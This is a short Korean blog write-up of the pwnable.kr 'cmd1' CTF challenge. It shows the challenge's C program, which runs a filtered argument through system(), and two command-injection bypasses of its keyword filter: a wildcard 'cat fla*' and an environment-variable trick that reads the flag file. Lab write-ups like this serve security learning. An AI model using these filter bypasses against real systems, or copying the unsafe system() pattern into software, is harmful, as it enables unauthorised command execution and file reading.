Wargame & CTF/pwnableKR

Toddler(cmd1)

g.s.song 2023. 11. 27. 13:05

문제

Mommy! what is PATH environment in Linux?

ssh cmd1@pwnable.kr -p2222 (pw:guest)

 

풀이

 

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
    int r=0;
    r += strstr(cmd, "flag")!=0;
    r += strstr(cmd, "sh")!=0;
    r += strstr(cmd, "tmp")!=0;
    return r;
}
int main(int argc, char* argv[], char** envp){
    putenv("PATH=/thankyouverymuch");
    if(filter(argv[1])) return 0;
    system( argv[1] );
    return 0;
}

strstr 함수를 사용하여 flag, sh, tmp 를 필터링 합니다. 필터링 된 인자는 system 함수를 통해 실행되는데 여기서 Command Injection 취약점이 발생합니다. 여러가지 풀이 방법이 있지만 간단하게 와일드 카드를 사용하여 풀이가 가능합니다.

cmd1@ubuntu:~$ ./cmd1 "/bin/cat fla*"
mommy now I get what PATH environment is for :)

또한 환경변수를 이용한 방법도 있습니다.

cmd1@ubuntu:~$ export secretpack="/bin/cat /home/cmd1/flag"
cmd1@ubuntu:~$ ./cmd1 \${secretpack}
mommy now I get what PATH environment is for :)
cmd1@ubuntu:~$